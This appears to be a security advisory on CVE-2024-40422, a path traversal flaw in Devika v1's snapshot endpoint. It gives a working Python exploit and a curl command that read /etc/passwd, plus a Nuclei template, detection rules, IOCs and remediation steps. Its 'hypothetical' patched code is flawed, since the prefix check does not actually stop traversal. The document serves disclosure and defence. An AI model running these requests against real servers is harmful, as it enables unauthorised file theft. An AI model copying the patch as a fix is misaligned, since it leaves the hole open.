CVE-2024-40422

Executive Summary

CVE-2024-40422 is a critical path traversal vulnerability in Stitionai Devika v1, specifically within the /api/get-browser-snapshot endpoint. An unauthenticated attacker can manipulate the snapshot_path parameter to traverse directories and read arbitrary files from the server's filesystem. This can lead to the exposure of sensitive system files, credentials, and application source code, compromising the confidentiality and integrity of the system. Public proof-of-concept (PoC) exploit code and a Nuclei template are available, making this vulnerability highly exploitable. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects the Devika application, which is a Python-based project available on GitHub. The application is not distributed via PyPI, but users who clone the repository and deploy it are at risk. The supply chain risk is moderate, as the vulnerability exists in the application's own code rather than a third-party dependency.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Base Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: None (A:N)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to full disclosure of sensitive files.

Deep Dive & Mechanics

The vulnerability resides in the /api/get-browser-snapshot endpoint. The application takes the snapshot_path parameter from the user and uses it to read a file from the filesystem without proper sanitization or validation. An attacker can supply a path like ../../../../etc/passwd to escape the intended directory and read arbitrary files.

The root cause is the lack of input validation and the use of user-supplied input in file system operations. The application likely constructs a file path by concatenating a base directory with the user-supplied snapshot_path, but fails to check for path traversal sequences (e.g., ../).

Vulnerable vs. Patched Code

Vulnerable Code (Devika v1):

@app.route('/api/get-browser-snapshot')
def get_browser_snapshot():
    snapshot_path = request.args.get('snapshot_path')
    # No validation or sanitization
    with open(snapshot_path, 'rb') as f:
        return send_file(f, mimetype='application/octet-stream')

Patched Code (Hypothetical):

import os

@app.route('/api/get-browser-snapshot')
def get_browser_snapshot():
    snapshot_path = request.args.get('snapshot_path')
    # Sanitize the path
    safe_path = os.path.normpath(snapshot_path).replace('../', '')
    # Ensure it stays within the allowed directory
    base_dir = '/path/to/allowed/snapshots'
    full_path = os.path.join(base_dir, safe_path)
    if not full_path.startswith(base_dir):
        return 'Invalid path', 400
    with open(full_path, 'rb') as f:
        return send_file(f, mimetype='application/octet-stream')

Exploitation & Lab Setup

Red Team

Exploit-DB Code (Python):

#!/usr/bin/python

import argparse
import requests

def exploit(target_url):
    url = f'http://{target_url}/api/get-browser-snapshot'
    params = {
        'snapshot_path': '../../../../etc/passwd'
    }

    response = requests.get(url, params=params)
    print(response.text)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit directory traversal vulnerability.')
    parser.add_argument('-t', '--target', help='Target URL (e.g., target.com)', required=True)
    args = parser.parse_args()

    exploit(args.target)

Usage:

1. Save the script as exploit.py.
2. Run: python exploit.py -t target.com
3. The script will output the contents of /etc/passwd (or any other file if modified).

Manual Exploitation (cURL):

curl "http://target.com/api/get-browser-snapshot?snapshot_path=../../../../etc/passwd"

Blue Team

Lab Setup:

• Deploy Devika v1 in a controlled environment (e.g., Docker container).
• Monitor network traffic and logs for suspicious requests to /api/get-browser-snapshot.
• Use the provided Nuclei template to test for the vulnerability.

Detection:

• Look for requests containing ../ or ..\\ in the snapshot_path parameter.
• Monitor for unusual file reads (e.g., /etc/passwd, /etc/shadow, .env files).

Indicators of Compromise (IOCs)

• Network:

  • HTTP GET requests to /api/get-browser-snapshot?snapshot_path=../../../../etc/passwd
  • Requests with multiple ../ sequences in the snapshot_path parameter.
  • Response headers containing application/octet-stream for non-image files.

• File System:

  • Unauthorized access to /etc/passwd, /etc/shadow, /proc/self/environ, or application configuration files.
  • Presence of unexpected files in the application's snapshot directory.

• Logs:

  • Web server logs showing requests to /api/get-browser-snapshot with path traversal patterns.
  • Error logs indicating failed attempts to read files outside the allowed directory.

Detection Engineering

YARA Rule

rule CVE_2024_40422_Devika_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Devika v1"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "CVE-2024-40422"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/api/get-browser-snapshot"
        $sensitive_file = "/etc/passwd" nocase
    condition:
        $endpoint and ($traversal1 or $traversal2) and $sensitive_file
}

Sigma Rule

title: Devika v1 Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts targeting Devika v1
author: Valters IT
date: 2024/07/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-40422
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/api/get-browser-snapshot'
            - 'snapshot_path='
            - '../'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of snapshots with similar paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-40422 Devika v1 Path Traversal Attempt"; flow:to_server; content:"GET"; http_method; content:"/api/get-browser-snapshot"; http_uri; content:"snapshot_path="; http_uri; pcre:"/snapshot_path=[^&]*\.\.\//"; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-40422

info:
  name: Devika v1 - Path Traversal
  author: s4e-io,alpernae
  severity: critical
  description: |
    The snapshot_path parameter in the /api/get-browser-snapshot endpoint in stitionai devika v1 is susceptible to a path traversal attack. An attacker can manipulate the snapshot_path parameter to traverse directories and access sensitive files on the server. This can potentially lead to unauthorized access to critical system files and compromise the confidentiality and integrity of the system.
  impact: |
    Unauthenticated attackers can exploit path traversal to access sensitive files on the server.
  remediation: |
    Update Devika to a version later than v1 that patches the path traversal vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-40422
    - https://cvefeed.io/vuln/detail/CVE-2024-40422
    - https://github.com/alpernae/CVE-2024-40422
    - https://github.com/stitionai/devika
    - https://www.exploit-db.com/exploits/52066
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-40422
    cwe-id: CWE-22
    epss-score: 0.91208
    epss-percentile: 0.99655
    cpe: cpe:2.3:a:stitionai:devika:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: stitionai
    product: devika
    fofa-query: icon_hash="-1429839495"
  tags: cve,cve2024,devika,lfi,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/data HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"models","projects","OPENAI","OLLAMA")'
          - 'contains(content_type,"application/json")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /api/get-browser-snapshot?snapshot_path=../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: If not required, block access to /api/get-browser-snapshot at the web server or application level.
2. Input validation: Implement strict validation of the snapshot_path parameter to reject any path traversal sequences (e.g., ../, ..\\).
3. Use a whitelist: Only allow specific filenames or a predefined set of snapshot files.
4. Apply least privilege: Run the application with minimal filesystem permissions to limit the impact of a successful exploit.

Long-term Fix:

• The vendor should release a patched version that properly sanitizes user input and uses secure file access methods (e.g., os.path.realpath to resolve symlinks and check against a base directory).

Workaround:

• Implement a Web Application Firewall (WAF) rule to block requests containing path traversal patterns in the snapshot_path parameter.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: E7836C1380BB2AF100619962] */}